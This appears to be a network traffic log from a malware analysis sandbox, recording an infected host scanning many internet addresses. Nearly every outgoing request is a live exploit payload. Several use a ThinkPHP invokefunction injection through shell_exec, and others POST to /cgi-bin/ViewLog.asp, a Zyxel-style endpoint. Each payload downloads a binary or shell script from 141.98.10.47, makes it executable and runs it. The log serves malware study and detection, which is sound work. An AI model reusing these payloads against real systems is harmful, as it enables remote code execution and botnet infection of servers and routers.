xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
173	192.168.2.23	45176	112.187.62.101	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:39.414144039 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:41.082447052 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:41.407867908 CET	243	IN	HTTP/1.0 404 Not Found Content-type: text/html Date: Tue, 26 Dec 2023 20:23:41 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H1>404 Not Found</H1>The requested URL was not found</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
174	192.168.2.23	49194	94.242.229.221	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:39.559500933 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:40.282574892 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
175	192.168.2.23	38242	95.168.161.71	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:40.093667984 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:40.332905054 CET	337	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.1 Date: Tue, 26 Dec 2023 20:23:40 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
176	192.168.2.23	36704	95.79.105.25	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:40.147839069 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0

Session ID	Source IP	Source Port	Destination IP	Destination Port
177	192.168.2.23	59040	31.33.140.229	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:40.672586918 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:43.898103952 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
178	192.168.2.23	56144	31.41.93.26	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:40.682451963 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
179	192.168.2.23	56844	94.73.17.90	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:40.704655886 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:40.984622002 CET	518	IN	HTTP/1.1 404 Not Found Referrer-Policy: no-referrer Server: thttpd Content-Type: text/html; charset=utf-8 Date: Thu, 09 Apr 1970 14:22:55 GMT Last-Modified: Thu, 09 Apr 1970 14:22:55 GMT Accept-Ranges: bytes Connection: close Cache-Control: no-cache,no-store Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 09 3c 68 31 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 68 65 69 67 68 74 3a 20 31 35 30 70 78 22 3e 0a 09 09 3c 73 70 61 6e 3e 0a 09 09 09 45 72 72 6f 72 20 34 30 34 2c 20 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 0a 09 09 3c 2f 73 70 61 6e 3e 0a 09 3c 2f 68 31 3e 0a 09 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 22 3e 0a 09 09 3c 61 20 68 72 65 66 3d 22 2f 22 3e 48 6f 6d 65 3c 2f 61 3e 0a 09 3c 2f 64 69 76 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 3c 48 52 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <html><head></head><body><h1 style="text-align: center; height: 150px"><span>Error 404, Page not found</span></h1><div style="text-align: center;"><a href="/">Home</a></div></body></html><HR></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
180	192.168.2.23	43404	94.121.58.45	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:40.704742908 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
181	192.168.2.23	55920	95.86.105.110	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:40.704807043 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
182	192.168.2.23	38240	62.213.13.138	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:40.738420010 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
183	192.168.2.23	45186	112.187.62.101	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:41.111059904 CET	236	IN	HTTP/1.0 400 Bad Request Content-type: text/html Date: Tue, 26 Dec 2023 20:23:41 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 48 31 3e 0a 55 6e 73 75 70 70 6f 72 74 65 64 20 6d 65 74 68 6f 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1>Unsupported method</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
184	192.168.2.23	37182	94.121.76.93	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:41.186381102 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
185	192.168.2.23	40202	31.200.72.253	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:41.879260063 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
186	192.168.2.23	42776	94.120.99.132	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:41.883495092 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:45.945787907 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:52.088927984 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:04.119303942 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:29.459641933 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:25:18.604794979 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
187	192.168.2.23	37400	95.0.152.2	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:43.722681999 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:51.489185095 CET	51	IN	HTTP/1.1 504 Gateway Timeout Connection: close
Dec 26, 2023 21:23:51.697278023 CET	51	IN	HTTP/1.1 504 Gateway Timeout Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
188	192.168.2.23	35134	95.129.102.120	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:43.982672930 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:44.235908031 CET	500	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:23:44 GMT Server: Apache/2.4.52 (Debian) Content-Length: 306 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 32 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 39 35 2e 31 32 39 2e 31 30 32 2e 31 32 30 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.52 (Debian) Server at 95.129.102.120 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
189	192.168.2.23	60532	31.200.29.99	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:44.191392899 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
190	192.168.2.23	53956	31.33.136.247	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:45.725805998 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:46.425697088 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:47.833566904 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
191	192.168.2.23	36962	85.215.109.148	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:45.746160030 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
192	192.168.2.23	50758	94.123.42.7	8080

Timestamp	Bytes transferred	Direction	Data
